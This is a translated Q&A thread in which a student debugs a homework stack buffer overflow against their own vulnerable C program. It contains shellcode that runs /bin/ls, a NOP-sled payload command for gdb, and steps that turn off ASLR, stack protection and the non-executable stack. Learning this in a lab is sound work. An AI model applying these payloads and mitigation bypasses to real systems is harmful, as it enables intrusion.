作业 - 无法利用缓冲区溢出

Mad*_*uja 5 c buffer-overflow shellcode

我试图学习在Backtrack Linux上利用简单的缓冲区流技术.

这是我的C程序

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buffer[500];
    if(argc==2)
    {

    strcpy(buffer, argv[1]);  //vulnerable function

    }

    return 0;
}
Run Code Online (Sandbox Code Playgroud)

这是我正在使用的shellcode,它对应于简单的/bin/ls \ x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\X01\XC6\X04\X24\X2F\X89\XE6\X50\X56\XB0\X0B\X89\XF3\X89\XE1\X31\XD2\XCD\X80\XB0\X01\X31\XDB\XCD\X80

我使用以下命令在gdb中注入此shellcode

run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')
Run Code Online (Sandbox Code Playgroud)

当我逐步完成应用程序时,它会SIG FAULT在最终ret指令上生成.此时EIP正确设置为0xffffd30c.这个地址是可寻址的,包含一系列的NOP,后跟我的shell代码,如有效负载中所示.

我已经禁用了ASLR sudo echo 0 > /proc/sys/kernel/randomize_va_space

并使用fno-stack-protector选项编译我的二进制文件.

知道SIGSEGV的原因是什么?

Mad*_*uja 5

我已回答了我自己的问题,问题是"可执行堆栈保护",其中堆栈内存无法执行.这可以在gcc中禁用,如下所示

gcc -z execstack